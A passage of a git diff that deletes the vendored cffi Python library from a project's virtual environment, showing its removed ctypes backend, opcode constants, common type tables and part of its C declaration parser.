TypeError("unexpected cdata type") - ptr = type(cdata)._to_ctypes(cdata) - elif isinstance(cdata, CTypesGenericArray): - ptr = type(cdata)._to_ctypes(cdata) - else: - raise TypeError("expected a ") - if offset: - ptr = ctypes.cast( - ctypes.c_void_p( - ctypes.cast(ptr, ctypes.c_void_p).value + offset), - type(ptr)) - return BTypePtr._from_ctypes(ptr) - - -class CTypesLibrary: - - def __init__(self, backend, cdll): - self.backend = backend - self.cdll = cdll - - def load_function(self, BType, name): - c_func = getattr(self.cdll, name) - funcobj = BType._from_ctypes(c_func) - funcobj._name = name - return funcobj - - def read_variable(self, BType, name): - try: - ctypes_obj = BType._ctype.in_dll(self.cdll, name) - except AttributeError as e: - raise NotImplementedError(e) - return BType._from_ctypes(ctypes_obj) - - def write_variable(self, BType, name, value): - new_ctypes_obj = BType._to_ctypes(value) - ctypes_obj = BType._ctype.in_dll(self.cdll, name) - ctypes.memmove(ctypes.addressof(ctypes_obj), - ctypes.addressof(new_ctypes_obj), - ctypes.sizeof(BType._ctype)) diff --git a/venv/Lib/site-packages/cffi/cffi_opcode.py b/venv/Lib/site-packages/cffi/cffi_opcode.py deleted file mode 100644 index c964ba13e69af37b70be3f3f1f9306296e2f0a2d..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/cffi/cffi_opcode.py +++ /dev/null @@ -1,187 +0,0 @@ -from .error import VerificationError - -class CffiOp: - def __init__(self, op, arg): - self.op = op - self.arg = arg - - def as_c_expr(self): - if self.op is None: - assert isinstance(self.arg, str) - return '(_cffi_opcode_t)(%s)' % (self.arg,) - classname = CLASS_NAME[self.op] - return '_CFFI_OP(_CFFI_OP_%s, %s)' % (classname, self.arg) - - def as_python_bytes(self): - if self.op is None and self.arg.isdigit(): - value = int(self.arg) # non-negative: '-' not in self.arg - if value >= 2**31: - raise OverflowError("cannot emit %r: limited to 2**31-1" - % (self.arg,)) - return format_four_bytes(value) - if isinstance(self.arg, str): - raise VerificationError("cannot emit to Python: %r" % (self.arg,)) - return format_four_bytes((self.arg << 8) | self.op) - - def __str__(self): - classname = CLASS_NAME.get(self.op, self.op) - return '(%s %s)' % (classname, self.arg) - -def format_four_bytes(num): - return '\\x%02X\\x%02X\\x%02X\\x%02X' % ( - (num >> 24) & 0xFF, - (num >> 16) & 0xFF, - (num >> 8) & 0xFF, - (num ) & 0xFF) - -OP_PRIMITIVE = 1 -OP_POINTER = 3 -OP_ARRAY = 5 -OP_OPEN_ARRAY = 7 -OP_STRUCT_UNION = 9 -OP_ENUM = 11 -OP_FUNCTION = 13 -OP_FUNCTION_END = 15 -OP_NOOP = 17 -OP_BITFIELD = 19 -OP_TYPENAME = 21 -OP_CPYTHON_BLTN_V = 23 # varargs -OP_CPYTHON_BLTN_N = 25 # noargs -OP_CPYTHON_BLTN_O = 27 # O (i.e. a single arg) -OP_CONSTANT = 29 -OP_CONSTANT_INT = 31 -OP_GLOBAL_VAR = 33 -OP_DLOPEN_FUNC = 35 -OP_DLOPEN_CONST = 37 -OP_GLOBAL_VAR_F = 39 -OP_EXTERN_PYTHON = 41 - -PRIM_VOID = 0 -PRIM_BOOL = 1 -PRIM_CHAR = 2 -PRIM_SCHAR = 3 -PRIM_UCHAR = 4 -PRIM_SHORT = 5 -PRIM_USHORT = 6 -PRIM_INT = 7 -PRIM_UINT = 8 -PRIM_LONG = 9 -PRIM_ULONG = 10 -PRIM_LONGLONG = 11 -PRIM_ULONGLONG = 12 -PRIM_FLOAT = 13 -PRIM_DOUBLE = 14 -PRIM_LONGDOUBLE = 15 - -PRIM_WCHAR = 16 -PRIM_INT8 = 17 -PRIM_UINT8 = 18 -PRIM_INT16 = 19 -PRIM_UINT16 = 20 -PRIM_INT32 = 21 -PRIM_UINT32 = 22 -PRIM_INT64 = 23 -PRIM_UINT64 = 24 -PRIM_INTPTR = 25 -PRIM_UINTPTR = 26 -PRIM_PTRDIFF = 27 -PRIM_SIZE = 28 -PRIM_SSIZE = 29 -PRIM_INT_LEAST8 = 30 -PRIM_UINT_LEAST8 = 31 -PRIM_INT_LEAST16 = 32 -PRIM_UINT_LEAST16 = 33 -PRIM_INT_LEAST32 = 34 -PRIM_UINT_LEAST32 = 35 -PRIM_INT_LEAST64 = 36 -PRIM_UINT_LEAST64 = 37 -PRIM_INT_FAST8 = 38 -PRIM_UINT_FAST8 = 39 -PRIM_INT_FAST16 = 40 -PRIM_UINT_FAST16 = 41 -PRIM_INT_FAST32 = 42 -PRIM_UINT_FAST32 = 43 -PRIM_INT_FAST64 = 44 -PRIM_UINT_FAST64 = 45 -PRIM_INTMAX = 46 -PRIM_UINTMAX = 47 -PRIM_FLOATCOMPLEX = 48 -PRIM_DOUBLECOMPLEX = 49 -PRIM_CHAR16 = 50 -PRIM_CHAR32 = 51 - -_NUM_PRIM = 52 -_UNKNOWN_PRIM = -1 -_UNKNOWN_FLOAT_PRIM = -2 -_UNKNOWN_LONG_DOUBLE = -3 - -_IO_FILE_STRUCT = -1 - -PRIMITIVE_TO_INDEX = { - 'char': PRIM_CHAR, - 'short': PRIM_SHORT, - 'int': PRIM_INT, - 'long': PRIM_LONG, - 'long long': PRIM_LONGLONG, - 'signed char': PRIM_SCHAR, - 'unsigned char': PRIM_UCHAR, - 'unsigned short': PRIM_USHORT, - 'unsigned int': PRIM_UINT, - 'unsigned long': PRIM_ULONG, - 'unsigned long long': PRIM_ULONGLONG, - 'float': PRIM_FLOAT, - 'double': PRIM_DOUBLE, - 'long double': PRIM_LONGDOUBLE, - '_cffi_float_complex_t': PRIM_FLOATCOMPLEX, - '_cffi_double_complex_t': PRIM_DOUBLECOMPLEX, - '_Bool': PRIM_BOOL, - 'wchar_t': PRIM_WCHAR, - 'char16_t': PRIM_CHAR16, - 'char32_t': PRIM_CHAR32, - 'int8_t': PRIM_INT8, - 'uint8_t': PRIM_UINT8, - 'int16_t': PRIM_INT16, - 'uint16_t': PRIM_UINT16, - 'int32_t': PRIM_INT32, - 'uint32_t': PRIM_UINT32, - 'int64_t': PRIM_INT64, - 'uint64_t': PRIM_UINT64, - 'intptr_t': PRIM_INTPTR, - 'uintptr_t': PRIM_UINTPTR, - 'ptrdiff_t': PRIM_PTRDIFF, - 'size_t': PRIM_SIZE, - 'ssize_t': PRIM_SSIZE, - 'int_least8_t': PRIM_INT_LEAST8, - 'uint_least8_t': PRIM_UINT_LEAST8, - 'int_least16_t': PRIM_INT_LEAST16, - 'uint_least16_t': PRIM_UINT_LEAST16, - 'int_least32_t': PRIM_INT_LEAST32, - 'uint_least32_t': PRIM_UINT_LEAST32, - 'int_least64_t': PRIM_INT_LEAST64, - 'uint_least64_t': PRIM_UINT_LEAST64, - 'int_fast8_t': PRIM_INT_FAST8, - 'uint_fast8_t': PRIM_UINT_FAST8, - 'int_fast16_t': PRIM_INT_FAST16, - 'uint_fast16_t': PRIM_UINT_FAST16, - 'int_fast32_t': PRIM_INT_FAST32, - 'uint_fast32_t': PRIM_UINT_FAST32, - 'int_fast64_t': PRIM_INT_FAST64, - 'uint_fast64_t': PRIM_UINT_FAST64, - 'intmax_t': PRIM_INTMAX, - 'uintmax_t': PRIM_UINTMAX, - } - -F_UNION = 0x01 -F_CHECK_FIELDS = 0x02 -F_PACKED = 0x04 -F_EXTERNAL = 0x08 -F_OPAQUE = 0x10 - -G_FLAGS = dict([('_CFFI_' + _key, globals()[_key]) - for _key in ['F_UNION', 'F_CHECK_FIELDS', 'F_PACKED', - 'F_EXTERNAL', 'F_OPAQUE']]) - -CLASS_NAME = {} -for _name, _value in list(globals().items()): - if _name.startswith('OP_') and isinstance(_value, int): - CLASS_NAME[_value] = _name[3:] diff --git a/venv/Lib/site-packages/cffi/commontypes.py b/venv/Lib/site-packages/cffi/commontypes.py deleted file mode 100644 index d4dae3517009fc3f7ccaf01d97d10df098700d06..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/cffi/commontypes.py +++ /dev/null @@ -1,82 +0,0 @@ -import sys -from . import model -from .error import FFIError - - -COMMON_TYPES = {} - -try: - # fetch "bool" and all simple Windows types - from _cffi_backend import _get_common_types - _get_common_types(COMMON_TYPES) -except ImportError: - pass - -COMMON_TYPES['FILE'] = model.unknown_type('FILE', '_IO_FILE') -COMMON_TYPES['bool'] = '_Bool' # in case we got ImportError above -COMMON_TYPES['float _Complex'] = '_cffi_float_complex_t' -COMMON_TYPES['double _Complex'] = '_cffi_double_complex_t' - -for _type in model.PrimitiveType.ALL_PRIMITIVE_TYPES: - if _type.endswith('_t'): - COMMON_TYPES[_type] = _type -del _type - -_CACHE = {} - -def resolve_common_type(parser, commontype): - try: - return _CACHE[commontype] - except KeyError: - cdecl = COMMON_TYPES.get(commontype, commontype) - if not isinstance(cdecl, str): - result, quals = cdecl, 0 # cdecl is already a BaseType - elif cdecl in model.PrimitiveType.ALL_PRIMITIVE_TYPES: - result, quals = model.PrimitiveType(cdecl), 0 - elif cdecl == 'set-unicode-needed': - raise FFIError("The Windows type %r is only available after " - "you call ffi.set_unicode()" % (commontype,)) - else: - if commontype == cdecl: - raise FFIError( - "Unsupported type: %r. Please look at " - "http://cffi.readthedocs.io/en/latest/cdef.html#ffi-cdef-limitations " - "and file an issue if you think this type should really " - "be supported." % (commontype,)) - result, quals = parser.parse_type_and_quals(cdecl) # recursive - - assert isinstance(result, model.BaseTypeByIdentity) - _CACHE[commontype] = result, quals - return result, quals - - -# ____________________________________________________________ -# extra types for Windows (most of them are in commontypes.c) - - -def win_common_types(): - return { - "UNICODE_STRING": model.StructType( - "_UNICODE_STRING", - ["Length", - "MaximumLength", - "Buffer"], - [model.PrimitiveType("unsigned short"), - model.PrimitiveType("unsigned short"), - model.PointerType(model.PrimitiveType("wchar_t"))], - [-1, -1, -1]), - "PUNICODE_STRING": "UNICODE_STRING *", - "PCUNICODE_STRING": "const UNICODE_STRING *", - - "TBYTE": "set-unicode-needed", - "TCHAR": "set-unicode-needed", - "LPCTSTR": "set-unicode-needed", - "PCTSTR": "set-unicode-needed", - "LPTSTR": "set-unicode-needed", - "PTSTR": "set-unicode-needed", - "PTBYTE": "set-unicode-needed", - "PTCHAR": "set-unicode-needed", - } - -if sys.platform == 'win32': - COMMON_TYPES.update(win_common_types()) diff --git a/venv/Lib/site-packages/cffi/cparser.py b/venv/Lib/site-packages/cffi/cparser.py deleted file mode 100644 index 1896b7ef5dc379d26ee46b34b39aec433e9a903b..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/cffi/cparser.py +++ /dev/null @@ -1,1014 +0,0 @@ -from . import model -from .commontypes import COMMON_TYPES, resolve_common_type -from .error import FFIError, CDefError -try: - from . import _pycparser as pycparser -except ImportError: - import pycparser -import weakref, re, sys - -try: - if sys.version_info < (3,): - import thread as _thread - else: - import _thread - lock = _thread.allocate_lock() -except ImportError: - lock = None - -def _workaround_for_static_import_finders(): - # Issue #392: packaging tools like cx_Freeze can not find these - # because pycparser uses exec dynamic import. This is an obscure - # workaround. This function is never called. - import pycparser.yacctab - import pycparser.lextab - -CDEF_SOURCE_STRING = "" -_r_comment = re.compile(r"/\*.*?\*/|//([^\n\\]|\\.)*?$", - re.DOTALL | re.MULTILINE) -_r_define = re.compile(r"^\s*#\s*define\s+([A-Za-z_][A-Za-z_0-9]*)" - r"\b((?:[^\n\\]|\\.)*?)$", - re.DOTALL | re.MULTILINE) -_r_line_directive = re.compile(r"^[ \t]*#[ \t]*(?:line|\d+)\b.*$", re.MULTILINE) -_r_partial_enum = re.compile(r"=\s*\.\.\.\s*[,}]|\.\.\.\s*\}") -_r_enum_dotdotdot = re.compile(r"__dotdotdot\d+__$") -_r_partial_array = re.compile(r"\[\s*\.\.\.\s*\]") -_r_words = re.compile(r"\w+|\S") -_parser_cache = None -_r_int_literal = re.compile(r"-?0?x?[0-9a-f]+[lu]*$", re.IGNORECASE) -_r_stdcall1 = re.compile(r"\b(__stdcall|WINAPI)\b") -_r_stdcall2 = re.compile(r"[(]\s*(__stdcall|WINAPI)\b") -_r_cdecl = re.compile(r"\b__cdecl\b") -_r_extern_python = re.compile(r'\bextern\s*"' - r'(Python|Python\s*\+\s*C|C\s*\+\s*Python)"\s*.') -_r_star_const_space = re.compile( # matches "* const " - r"[*]\s*((const|volatile|restrict)\b\s*)+") -_r_int_dotdotdot = re.compile(r"(\b(int|long|short|signed|unsigned|char)\s*)+" - r"\.\.\.") -_r_float_dotdotdot = re.compile(r"\b(double|float)\s*\.\.\.") - -def _get_parser(): - global _parser_cache - if _parser_cache is None: - _parser_cache = pycparser.CParser() - return _parser_cache - -def _workaround_for_old_pycparser(csource): - # Workaround for a pycparser issue (fixed between pycparser 2.10 and - # 2.14): "char*const***" gives us a wrong syntax tree, the same as - # for "char***(*const)". This means we can't tell the difference - # afterwards. But "char(*const(***))" gives us the right syntax - # tree. The issue only occurs if there are several stars in - # sequence with no parenthesis in between, just possibly qualifiers. - # Attempt to fix it by adding some parentheses in the source: each - # time we see "* const" or "* const *", we add an opening - # parenthesis before each star---the hard part is figuring out where - # to close them. - parts = [] - while True: - match = _r_star_const_space.search(csource) - if not match: - break - #print repr(''.join(parts)+csource), '=>', - parts.append(csource[:match.start()]) - parts.append('('); closing = ')' - parts.append(match.group()) # e.g. "* const " - endpos = match.end() - if csource.startswith('*', endpos): - parts.append('('); closing += ')' - level = 0 - i = endpos - while i < len(csource): - c = csource[i] - if c == '(': - level += 1 - elif c == ')': - if level == 0: - break - level -= 1 - elif c in ',;=': - if level == 0: - break - i += 1 - csource = csource[endpos:i] + closing + csource[i:] - #print repr(''.join(parts)+csource) - parts.append(csource) - return ''.join(parts) - -def _preprocess_extern_python(csource): - # input: `extern "Python" int foo(int);` or - # `extern "Python" { int foo(int); }` - # output: - # void __cffi_extern_python_start; - # int foo(int); - # void __cffi_extern_python_stop; - # - # input: `extern "Python+C" int foo(int);` - # output: - # void __cffi_extern_python_plus_c_start; - # int foo(int); - # void __cffi_extern_python_stop; - parts = [] - while True: - match = _r_extern_python.search(csource) - if not match: - break - endpos = match.end() - 1 - #print - #print ''.join(parts)+csource - #print '=>' - parts.append(csource[:match.start()]) - if 'C' in match.group(1): - parts.append('void __cffi_extern_python_plus_c_start; ') - else: - parts.append('void __cffi_extern_python_start; ') - if csource[endpos] == '{': - # grouping variant - closing = csource.find('}', endpos) - if closing < 0: - raise CDefError("'extern \"Python\" {': no '}' found") - if csource.find('{', endpos + 1, closing) >= 0: - raise NotImplementedError("cannot use { } inside a block " - "'extern \"Python\" { ... }'") - parts.append(csource[endpos+1:closing]) - csource = csource[closing+1:] - else: - # non-grouping variant - semicolon = csource.find(';', endpos) - if semicolon < 0: - raise CDefError("'extern \"Python\": no ';' found") - parts.append(csource[endpos:semicolon+1]) - csource = csource[semicolon+1:] - parts.append(' void __cffi_extern_python_stop;') - #print ''.join(parts)+csource - #print - parts.append(csource) - return ''.join(parts) - -def _warn_for_string_literal(csource): - if '"' not in csource: - return - for line in csource.splitlines(): - if '"' in line and not line.lstrip().startswith('#'): - import warnings - warnings.warn("String literal found in cdef() or type source. " - "String literals are ignored here, but you should " - "remove them anyway because some character sequences " - "confuse pre-parsing.") - break - -def _warn_for_non_extern_non_static_global_variable(decl): - if not decl.storage: - import warnings - warnings.warn("Global variable '%s' in cdef(): for consistency " - "with C it should have a storage class specifier " - "(usually 'extern')" % (decl.name,)) - -def _remove_line_directives(csource): - # _r_line_directive matches whole lines, without the final \n, if they - # start with '#line' with some spacing allowed, or '#NUMBER'. This - # function stores them away and replaces them with exactly the string - # '#line@N', where N is the index in the list 'line_directives'. - line_directives = [] - def replace(m): - i = len(line_directives) - line_directives.append(m.group()) - return '#line@%d' % i - csource = _r_line_directive.sub(replace, csource) - return csource, line_directives - -def _put_back_line_directives(csource, line_directives): - def replace(m): - s = m.group() - if not s.startswith('#line@'): - raise AssertionError("unexpected #line directive " - "(should have been processed and removed") - return line_directives[int(s[6:])] - return _r_line_directive.sub(replace, csource) - -def _preprocess(csource): - # First, remove the lines of the form '#line N "filename"' because - # the "filename" part could confuse the rest - csource, line_directives = _remove_line_directives(csource) - # Remove comments. NOTE: this only work because the cdef() section - # should not contain any string literals (except in line directives)! - def replace_keeping_newlines(m): - return ' ' + m.group().count('\n') * '\n' - csource = _r_comment.sub(replace_keeping_newlines, csource) - # Remove the "#define FOO x" lines - macros = {} - for match in _r_define.finditer(csource): - macroname, macrovalue = match.groups() - macrovalue = macrovalue.replace('\\\n', '').strip() - macros[macroname] = macrovalue - csource = _r_define.sub('', csource) - # - if pycparser.__version__ < '2.14': - csource = _workaround_for_old_pycparser(csource) - # - # BIG HACK: replace WINAPI or __stdcall with "volatile const". - # It doesn't make sense for the return type of a function to be - # "volatile volatile const", so we abuse it to detect __stdcall... - # Hack number 2 is that "int(volatile *fptr)();" is not valid C - # syntax, so we place the "volatile" before the opening parenthesis. - csource = _r_stdcall2.sub(' volatile volatile const(', csource) - csource = _r_stdcall1.sub(' volatile volatile const ', csource) - csource = _r_cdecl.sub(' ', csource) - # - # Replace `extern "Python"` with start/end markers - csource = _preprocess_extern_python(csource) - # - # Now there should not be any string literal left; warn if we get one - _warn_for_string_literal(csource) - # - # Replace "[...]" with "[__dotdotdotarray__]" - csource = _r_partial_array.sub('[__dotdotdotarray__]', csource) - # - # Replace "...}" with "__dotdotdotNUM__}". This construction should - # occur only at the end of enums; at the end of structs we have "...;}" - # and at the end of vararg functions "...);". Also replace "=...[,}]" - # with ",__dotdotdotNUM__[,}]": this occurs in the enums too, when - # giving an unknown value. - matches = list(_r_partial_enum.finditer(csource)) - for number, match in enumerate(reversed(matches)): - p = match.start() - if csource[p] == '=': - p2 = csource.find('...', p, match.end()) - assert p2 > p - csource = '%s,__dotdotdot%d__ %s' % (csource[:p], number, - csource[p2+3:]) - else: - assert csource[p:p+3] == '...' - csource = '%s __dotdotdot%d__ %s' % (csource[:p], number, - csource[p+3:]) - # Replace "int ..." or "unsigned long int..." with "__dotdotdotint__" - csource = _r_int_dotdotdot.sub(' __dotdotdotint__ ', csource) - # Replace "float ..." or "double..." with "__dotdotdotfloat__" - csource = _r_float_dotdotdot.sub(' __dotdotdotfloat__ ', csource) - # Replace all remaining "..." with the same name, "__dotdotdot__", - # which is declared with a typedef for the purpose of C parsing. - csource = csource.replace('...', ' __dotdotdot__ ') - # Finally, put back the line directives - csource = _put_back_line_directives(csource, line_directives) - return csource, macros - -def _common_type_names(csource): - # Look in the source for what looks like usages of types from the - # list of common types. A "usage" is approximated here as the - # appearance of the word, minus a "definition" of the type, which - # is the last word in a "typedef" statement. Approximative only - # but should be fine for all the common types. - look_for_words = set(COMMON_TYPES) - look_for_words.add(';') - look_for_words.add(',') - look_for_words.add('(') - look_for_words.add(')') - look_for_words.add('typedef') - words_used = set() - is_typedef = False - paren = 0 - previous_word = '' - for word in _r_words.findall(csource): - if word in look_for_words: - if word == ';': - if is_typedef: - words_used.discard(previous_word) - look_for_words.discard(previous_word) - is_typedef = False - elif word == 'typedef': - is_typedef = True - paren = 0 - elif word == '(': - paren += 1 - elif word == ')': - paren -= 1 - elif word == ',': - if is_typedef and paren == 0: - words_used.discard(previous_word) - look_for_words.discard(previous_word) - else: # word in COMMON_TYPES - words_used.add(word) - previous_word = word - return words_used - - -class Parser: - - def __init__(self): - self._declarations = {} - self._included_declarations = set() - self._anonymous_counter = 0 - self._structnode2type = weakref.WeakKeyDictionary() - self._options = {} - self._int_constants = {} - self._recomplete = [] - self._uses_new_feature = None - - def _parse(self, csource): - csource, macros = _preprocess(csource) - # XXX: for more efficiency we would need to poke into the - # internals of CParser... the following registers the - # typedefs, because their presence or absence influences the - # parsing itself (but what they are typedef'ed to plays no role) - ctn = _common_type_names(csource) - typenames = [] - for name in sorted(self._declarations): - if name.startswith('typedef '): - name = name[8:] - typenames.append(name) - ctn.discard(name) - typenames += sorted(ctn) - # - csourcelines = [] - csourcelines.append('# 1 ""') - for typename in typenames: - csourcelines.append('typedef int %s;' % typename) - csourcelines.append('typedef int __dotdotdotint__, __dotdotdotfloat__,' - ' __dotdotdot__;') - # this forces pycparser to consider the following in the file - # called from line 1 - csourcelines.append('# 1 "%s"' % (CDEF_SOURCE_STRING,)) - csourcelines.append(csource) - csourcelines.append('') # see test_missing_newline_bug - fullcsource = '\n'.join(csourcelines) - if lock is not None: - lock.acquire() # pycparser is not thread-safe... - try: - ast = _get_parser().parse(fullcsource) - except pycparser.c_parser.ParseError as e: - self.convert_pycparser_error(e, csource) - finally: - if lock is not None: - lock.release() - # csource will be used to find buggy source text - return ast, macros, csource - - def _convert_pycparser_error(self, e, csource): - # xxx look for ":NUM:" at the start of str(e) - # and interpret that as a line number. This will not work if - # the user gives explicit ``# NUM "FILE"`` directives. - line = None - msg = str(e) - match = re.match(r"%s:(\d+):" % (CDEF_SOURCE_STRING,), msg) - if match: - linenum = int(match.group(1), 10) - csourcelines = csource.splitlines() - if 1 <= linenum <= len(csourcelines): - line = csourcelines[linenum-1] - return line - - def convert_pycparser_error(self, e, csource): - line = self._convert_pycparser_error(e, csource) - - msg = str(e) - if line: - msg = 'cannot parse "%s"\n%s' % (line.strip(), msg) - else: - msg = 'parse error\n%s' % (msg,) - raise CDefError(msg) - - def parse(self, csource, override=False, packed=False, pack=None, - dllexport=False): - if packed: - if packed != True: - raise ValueError("'packed' should be False or True; use " - "'pack' to give another value") - if pack: - raise ValueError("cannot give both 'pack' and 'packed'") - pack = 1 - elif pack: - if pack & (pack - 1): - raise ValueError("'pack' must be a power of two, not %r" % - (pack,)) - else: - pack = 0 - prev_options = self._options - try: - self._options = {'override': override, - 'packed': pack, - 'dllexport': dllexport} - self._internal_parse(csource) - finally: - self._options = prev_options - - def _internal_parse(self, csource): - ast, macros, csource = self._parse(csource) - # add the macros - self._process_macros(macros) - # find the first "__dotdotdot__" and use that as a separator - # between the repeated typedefs and the real csource - iterator = iter(ast.ext) - for decl in iterator: - if decl.name == '__dotdotdot__': - break - else: - assert 0 - current_decl = None - # - try: - self._inside_extern_python = '__cffi_extern_python_stop' - for decl in iterator: - current_decl = decl - if isinstance(decl, pycparser.c_ast.Decl): - self._parse_decl(decl) - elif isinstance(decl, pycparser.c_ast.Typedef): - if not decl.name: - raise CDefError("typedef does not declare any name", - decl) - quals = 0 - if (isinstance(decl.type.type, pycparser.c_ast.IdentifierType) and - decl.type.type.names[-1].startswith('__dotdotdot')): - realtype = self._get_unknown_type(decl) - elif (isinstance(decl.type, pycparser.c_ast.PtrDecl) and - isinstance(decl.type.type, pycparser.c_ast.TypeDecl) and - isinstance(decl.type.type.type, - pycparser.c_ast.IdentifierType) and - decl.type.type.type.names[-1].startswith('__dotdotdot')): - realtype = self._get_unknown_ptr_type(decl) - else: - realtype, quals = self._get_type_and_quals( - decl.type, name=decl.name, partial_length_ok=True, - typedef_example="*(%s *)0" % (decl.name,)) - self._declare('typedef ' + decl.name, realtype, quals=quals) - elif decl.__class__.__name__ == 'Pragma': - # skip pragma, only in pycparser 2.15 - import warnings - warnings.warn( - "#pragma in cdef() are entirely ignored. " - "They should be removed for now, otherwise your " - "code might behave differently in a future version " - "of CFFI if #pragma support gets added. Note that " - "'#pragma pack' needs to be replaced with the " - "'packed' keyword argument to cdef().") - else: - raise CDefError("unexpected <%s>: this construct is valid " - "C but not valid in cdef()" % - decl.__class__.__name__, decl) - except CDefError as e: - if len(e.args) == 1: - e.args = e.args + (current_decl,) - raise - except FFIError as e: - msg = self._convert_pycparser_error(e, csource) - if msg: - e.args = (e.args[0] + "\n *** Err: %s" % msg,) - raise - - def _add_constants(self, key, val): - if key in self._int_constants: - if self._int_constants[key] == val: - return # ignore identical double declarations - raise FFIError( - "multiple declarations of constant: %s" % (key,)) - self._int_constants[key] = val - - def _add_integer_constant(self, name, int_str): - int_str = int_str.lower().rstrip("ul") - neg = int_str.startswith('-') - if neg: - int_str = int_str[1:] - # "010" is not valid oct in py3 - if (int_str.startswith("0") and int_str != '0' - and not int_str.startswith("0x")): - int_str = "0o" + int_str[1:] - pyvalue = int(int_str, 0) - if neg: - pyvalue = -pyvalue - self._add_constants(name, pyvalue) - self._declare('macro ' + name, pyvalue) - - def _process_macros(self, macros): - for key, value in macros.items(): - value = value.strip() - if _r_int_literal.match(value): - self._add_integer_constant(key, value) - elif value == '...': - self._declare('macro ' + key, value) - else: - raise CDefError( - 'only supports one of the following syntax:\n' - ' #define %s ... (literally dot-dot-dot)\n' - ' #define %s NUMBER (with NUMBER an integer' - ' constant, decimal/hex/octal)\n' - 'got:\n' - ' #define %s %s' - % (key, key, key, value)) - - def _declare_function(self, tp, quals, decl): - tp = self._get_type_pointer(tp, quals) - if self._options.get('dllexport'): - tag = 'dllexport_python ' - elif self._inside_extern_python == '__cffi_extern_python_start': - tag = 'extern_python ' - elif self._inside_extern_python == '__cffi_extern_python_plus_c_start': - tag = 'extern_python_plus_c ' - else: - tag = 'function ' - self._declare(tag + decl.name, tp) - - def _parse_decl(self, decl): - node = decl.type - if isinstance(node, pycparser.c_ast.FuncDecl): - tp, quals = self._get_type_and_quals(node, name=decl.name) - assert isinstance(tp, model.RawFunctionType) - self._declare_function(tp, quals, decl) - else: - if isinstance(node, pycparser.c_ast.Struct): - self._get_struct_union_enum_type('struct', node) - elif isinstance(node, pycparser.c_ast.Union): - self._get_struct_union_enum_type('union', node) - elif isinstance(node, pycparser.c_ast.Enum): - self._get_struct_union_enum_type('enum', node) - elif not decl.name: - raise CDefError("construct does not declare any variable", - decl) - # - if decl.name: - tp, quals = self._get_type_and_quals(node, - partial_length_ok=True) - if tp.is_raw_function: - self._declare_function(tp, quals, decl) - elif (tp.is_integer_type() and - hasattr(decl, 'init') and - hasattr(decl.init, 'value') and - _r_int_literal.match(decl.init.value)): - self._add_integer_constant(decl.name, decl.init.value) - elif (tp.is_integer_type() and - isinstance(decl.init, pycparser.c_ast.UnaryOp) and - decl.init.op == '-' and - hasattr(decl.init.expr, 'value') and - _r_int_literal.match(decl.init.expr.value)): - self._add_integer_constant(decl.name, - '-' + decl.init.expr.value) - elif (tp is model.void_type and - decl.name.startswith('__cffi_extern_python_')): - # hack: `extern "Python"` in the C source is replaced - # with "void __cffi_extern_python_start;" and - # "void __cffi_extern_python_stop;" - self._inside_extern_python = decl.name - else: - if self._inside_extern_python !='__cffi_extern_python_stop': - raise CDefError( - "cannot declare constants or " - "variables with 'extern \"Python\"'") - if (quals & model.Q_CONST) and not tp.is_array_type: - self._declare('constant ' + decl.name, tp, quals=quals) - else: - _warn_for_non_extern_non_static_global_variable(decl) - self._declare('variable ' + decl.name, tp, quals=quals) - - def parse_type(self, cdecl): - return self.parse_type_and_quals(cdecl)[0] - - def parse_type_and_quals(self, cdecl): - ast, macros = self._parse('void __dummy(\n%s\n);' % cdecl)[:2] - assert not macros - exprnode = ast.ext[-1].type.args.params[0] - if isinstance(exprnode, pycparser.c_ast.ID): - raise CDefError("unknown identifier '%s'" % (exprnode.name,)) - return self._get_type_and_quals(exprnode.type) - - def _declare(self, name, obj, included=False, quals=0): - if name in self._declarations: - prevobj, prevquals = self._declarations[name] - if prevobj is obj and prevquals == quals: - return - if not self._options.get('override'): - raise FFIError( - "multiple declarations of %s (for interactive usage, " - "try cdef(xx, override=True))" % (name,)) - assert '__dotdotdot__' not in name.split() - self._declarations[name] = (obj, quals) - if included: - self._included_declarations.add(obj) - - def _extract_quals(self, type): - quals = 0 - if isinstance(type, (pycparser.c_ast.TypeDecl, - pycparser.c_ast.PtrDecl)): - if 'const' in type.quals: - quals |= model.Q_CONST - if 'volatile' in type.quals: - quals |= model.Q_VOLATILE - if 'restrict' in type.quals: - quals |= model.Q_RESTRICT - return quals - - def _get_type_pointer(self, type, quals, declname=None): - if isinstance(type, model.RawFunctionType): - return type.as_function_pointer() - if (isinstance(type, model.StructOrUnionOrEnum) and - type.name.startswith('$') and type.name[1:].isdigit() and - type.forcename is None and declname is not None): - return model.NamedPointerType(type, declname, quals) - return model.PointerType(type, quals) - - def _get_type_and_quals(self, typenode, name=None, partial_length_ok=False, - typedef_example=None): - # first, dereference typedefs, if we have it already parsed, we're good - if (isinstance(typenode, pycparser.c_ast.TypeDecl) and - isinstance(typenode.type, pycparser.c_ast.IdentifierType) and - len(typenode.type.names) == 1 and - ('typedef ' + typenode.type.names[0]) in self._declarations): - tp, quals = self._declarations['typedef ' + typenode.type.names[0]] - quals |= self._extract_quals(typenode) - return tp, quals - # - if isinstance(typenode, pycparser.c_ast.ArrayDecl): - # array type - if typenode.dim is None: - length = None - else: - length = self._parse_constant( - typenode.dim, partial_length_ok=partial_length_ok) - # a hack: in 'typedef int foo_t[...][...];', don't use '...' as - # the length but use directly the C expression that would be - # generated by recompiler.py. This lets the typedef be used in - # many more places within recompiler.py - if typedef_example is not None: - if length == '...': - length = '_cffi_array_len(%s)' % (typedef_example,) - typedef_example = "*" + typedef_example - # - tp, quals = self._get_type_and_quals(typenode.type, - partial_length_ok=partial_length_ok, - typedef_example=typedef_example) - return model.ArrayType(tp, length), quals - # - if isinstance(typenode, pycparser.c_ast.PtrDecl): - # pointer type - itemtype, itemquals = self._get_type_and_quals(typenode.type) - tp = self._get_type_pointer(itemtype, itemquals, declname=name) - quals = self._extract_quals(typenode) - return tp, quals - # - if isinstance(typenode, pycparser.c_ast.TypeDecl): - quals = self._extract_quals(typenode) - type = typenode.type - if isinstance(type, pycparser.c_ast.IdentifierType): - # assume a primitive type. get it from .names, but reduce - # synonyms to a single chosen combination - names = list(type.names) - if names != ['signed', 'char']: # keep this unmodified - prefixes = {} - while names: - name = names[0] - if name in ('short', 'long', 'signed', 'unsigned'): - prefixes[name] = prefixes.get(name, 0) + 1 - del names[0] - else: - break - # ignore the 'signed' prefix below, and reorder the others - newnames = [] - for prefix in ('unsigned', 'short', 'long'): - for i in 